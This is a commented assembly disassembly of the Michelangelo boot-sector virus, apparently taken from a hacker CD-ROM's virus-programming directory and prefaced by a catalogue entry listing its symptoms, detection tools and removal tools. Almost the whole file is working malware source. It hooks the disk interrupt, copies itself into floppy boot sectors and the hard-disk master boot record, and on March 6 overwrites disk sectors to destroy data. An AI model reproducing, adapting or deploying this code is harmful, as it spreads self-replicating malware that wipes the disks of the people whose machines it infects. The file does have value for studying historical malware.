home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / michelan.asm < prev    next >
Encoding:
Assembly Source File  |  1996-04-16  |  7.8 KB  |  251 lines
  1.  Virus Name:  Michelangelo
  2.  Aliases:
  3.  V Status:    Common
  4.  Discovered:  April, 1991
  5.  Symptoms:    Disk directory damage; hard disk format; decrease in total
  6.           system and available memory
  7.  Origin:      Sweden or the Netherlands
  8.  Eff Length:  N/A
  9.  Type Code:   BRtX - Resident Floppy Boot Sector/Master Boot Sector Infector
  10.  Detection Method:  ViruScan, F-Prot, Sweep, AVTK, UTScan, NAV, CPAV, VNet,
  11.             VirexPC, VBuster, Panda, IBMAV, MSAV, DrVirus, Vi-Spy,
  12.             PCRX
  13.  Removal Instructions:  CleanUp, F-Prot or M-Disk/P
  14.  
  15.  
  16. ; This is a disassembly of the much-hyped michelangelo virus.
  17. ; As you can see, it is a derivative of the Stoned virus.  The
  18. ; junk bytes at the end of the file are probably throwbacks to
  19. ; the Stoned virus.  In any case, it is yet another boot sector
  20. ; and partition table infector.
  21.  
  22. michelangelo    segment byte public
  23.         assume  cs:michelangelo, ds:michelangelo
  24.         org     0
  25.  
  26.         jmp     entervirus
  27. highmemjmp      db      0F5h, 00h, 80h, 9Fh
  28. maxhead         db      2                       ; used by damagestuff
  29. firstsector     dw      3
  30. oldint13h       dd      0C8000256h
  31.  
  32. int13h:
  33.                 push    ds
  34.                 push    ax
  35.                 or      dl, dl                  ; default drive?
  36.                 jnz     exitint13h              ; exit if not
  37.         xor     ax, ax
  38.                 mov     ds, ax
  39.         test    byte ptr ds:[43fh], 1   ; disk 0 on?
  40.                 jnz     exitint13h              ; if not spinning, exit
  41.         pop     ax
  42.                 pop     ds
  43.         pushf
  44.                 call    dword ptr cs:[oldint13h]; first call old int 13h
  45.                 pushf
  46.                 call    infectdisk              ; then infect
  47.                 popf
  48.                 retf    2
  49. exitint13h:     pop     ax
  50.         pop     ds
  51.                 jmp     dword ptr cs:[oldint13h]
  52.  
  53. infectdisk:
  54.         push    ax
  55.                 push    bx
  56.         push    cx
  57.                 push    dx
  58.                 push    ds
  59.                 push    es
  60.                 push    si
  61.                 push    di
  62.                 push    cs
  63.         pop     ds
  64.                 push    cs
  65.         pop     es
  66.                 mov     si, 4
  67. readbootblock:
  68.                 mov     ax,201h                 ; Read boot block to
  69.         mov     bx,200h                 ; after virus
  70.                 mov     cx,1
  71.                 xor     dx,dx
  72.                 pushf
  73.                 call    oldint13h
  74.                 jnc     checkinfect             ; continue if no error
  75.                 xor     ax,ax
  76.         pushf
  77.                 call    oldint13h               ; Reset disk
  78.         dec     si                      ; loop back
  79.                 jnz     readbootblock
  80.         jmp     short quitinfect        ; exit if too many failures
  81. checkinfect:
  82.         xor     si,si
  83.         cld
  84.         lodsw
  85.         cmp     ax,[bx]                 ; check if already infected
  86.         jne     infectitnow
  87.         lodsw
  88.         cmp     ax,[bx+2]               ; check again
  89.         je      quitinfect
  90. infectitnow:
  91.         mov     ax,301h                 ; Write old boot block
  92.         mov     dh,1                    ; to head 1
  93.         mov     cl,3                    ; sector 3
  94.         cmp     byte ptr [bx+15h],0FDh  ; 360k disk?
  95.         je      is360Kdisk
  96.         mov     cl,0Eh
  97. is360Kdisk:
  98.         mov     firstsector,cx
  99.         pushf
  100.         call    oldint13h
  101.         jc      quitinfect              ; exit on error
  102.         mov     si,200h+offset partitioninfo
  103.         mov     di,offset partitioninfo
  104.         mov     cx,21h                  ; Copy partition table
  105.         cld
  106.         rep     movsw
  107.         mov     ax,301h                 ; Write virus to sector 1
  108.         xor     bx,bx
  109.         mov     cx,1
  110.         xor     dx,dx
  111.         pushf
  112.         call    oldint13h
  113. quitinfect:
  114.         pop     di
  115.         pop     si
  116.         pop     es
  117.         pop     ds
  118.         pop     dx
  119.         pop     cx
  120.         pop     bx
  121.         pop     ax
  122.         retn
  123. entervirus:
  124.         xor     ax,ax
  125.         mov     ds,ax
  126.         cli
  127.         mov     ss,ax
  128.         mov     ax,7C00h                ; Set stack to justbelow
  129.         mov     sp,ax                   ; virus load point
  130.         sti
  131.         push    ds                      ; save 0:7C00h on stack for
  132.         push    ax                      ; later retf
  133.         mov     ax,ds:[13h*4]
  134.         mov     word ptr ds:[7C00h+offset oldint13h],ax
  135.         mov     ax,ds:[13h*4+2]
  136.                 mov     word ptr ds:[7C00h+offset oldint13h+2],ax
  137.                 mov     ax,ds:[413h]            ; memory size in K
  138.                 dec     ax                      ; 1024 K
  139.                 dec     ax
  140.                 mov     ds:[413h],ax            ; move new value in
  141.         mov     cl,6
  142.         shl     ax,cl                   ; ax = paragraphs of memory
  143.         mov     es,ax                   ; next line sets seg of jmp
  144.         mov     word ptr ds:[7C00h+2+offset highmemjmp],ax
  145.         mov     ax,offset int13h
  146.         mov     ds:[13h*4],ax
  147.         mov     ds:[13h*4+2],es
  148.         mov     cx,offset partitioninfo
  149.         mov     si,7C00h
  150.         xor     di,di
  151.         cld
  152.         rep     movsb                   ; copy to high memory
  153.                         ; and transfer control there
  154.         jmp     dword ptr cs:[7C00h+offset highmemjmp]
  155. ; destination of highmem jmp
  156.         xor     ax,ax
  157.         mov     es,ax
  158.         int     13h                     ; reset disk
  159.         push    cs
  160.         pop     ds
  161.         mov     ax,201h
  162.         mov     bx,7C00h
  163.         mov     cx,firstsector
  164.         cmp     cx,7                    ; hard disk infection?
  165.         jne     floppyboot              ; if not, do floppies
  166.         mov     dx,80h                  ; Read old partition table of
  167.         int     13h                     ; first hard disk to 0:7C00h
  168.         jmp     short exitvirus
  169. floppyboot:
  170.         mov     cx,firstsector          ; read old boot block
  171.         mov     dx,100h                 ; to 0:7C00h
  172.         int     13h
  173.         jc      exitvirus
  174.         push    cs
  175.         pop     es
  176.         mov     ax,201h                 ; read boot block
  177.         mov     bx,200h                 ; of first hard disk
  178.         mov     cx,1
  179.         mov     dx,80h
  180.         int     13h
  181.         jc      exitvirus
  182.         xor     si,si
  183.         cld
  184.         lodsw
  185.         cmp     ax,[bx]                 ; is it infected?
  186.         jne     infectharddisk          ; if not, infect HD
  187.         lodsw                           ; check infection
  188.         cmp     ax,[bx+2]
  189.         jne     infectharddisk
  190. exitvirus:
  191.         xor     cx,cx                   ; Real time clock get date
  192.         mov     ah,4                    ; dx = mon/day
  193.         int     1Ah
  194.         cmp     dx,306h                 ; March 6th
  195.         je      damagestuff
  196.         retf                            ; return control to original
  197.                         ; boot block @ 0:7C00h
  198. damagestuff:
  199.         xor     dx,dx
  200.         mov     cx,1
  201. smashanothersector:
  202.         mov     ax,309h
  203.         mov     si,firstsector
  204.         cmp     si,3
  205.         je      smashit
  206.         mov     al,0Eh
  207.         cmp     si,0Eh
  208.                 je      smashit
  209.                 mov     dl,80h                  ; first hard disk
  210.                 mov     maxhead,4
  211.                 mov     al,11h
  212. smashit:
  213.                 mov     bx,5000h                ; random memory area
  214.                 mov     es,bx                   ; at 5000h:5000h
  215.                 int     13h                     ; Write al sectors to 
  216. drive dl
  217.                 jnc     skiponerror             ; skip on error
  218.                 xor     ah,ah                   ; Reset disk drive dl
  219.         int     13h
  220. skiponerror:
  221.                 inc     dh                      ; next head
  222.                 cmp     dh,maxhead              ; 2 if floppy, 4 if HD
  223.                 jb      smashanothersector
  224.         xor     dh,dh                   ; go to next head/cylinder
  225.         inc     ch
  226.         jmp     short smashanothersector
  227. infectharddisk:
  228.         mov     cx,7                    ; Write partition table to
  229.         mov     firstsector,cx          ; sector 7
  230.         mov     ax,301h
  231.         mov     dx,80h
  232.         int     13h
  233.                 jc      exitvirus
  234.                 mov     si,200h+offset partitioninfo ; Copy partition
  235.                 mov     di,offset partitioninfo      ; table information
  236.                 mov     cx,21h
  237.                 rep     movsw
  238.         mov     ax,301h                 ; Write to sector 8
  239.                 xor     bx,bx                   ; Copy virus to sector 1
  240.                 inc     cl
  241.                 int     13h
  242. ;*              jmp     short 01E0h
  243.                 db      0EBh, 32h               ; ?This should crash?
  244. ; The following bytes are meaningless.
  245. garbage         db      1,4,11h,0,80h,0,5,5,32h,1,0,0,0,0,0,53h
  246. partitioninfo:  db      42h dup (0)
  247. michelangelo    ends
  248.         end
  249.  
  250.  
  251.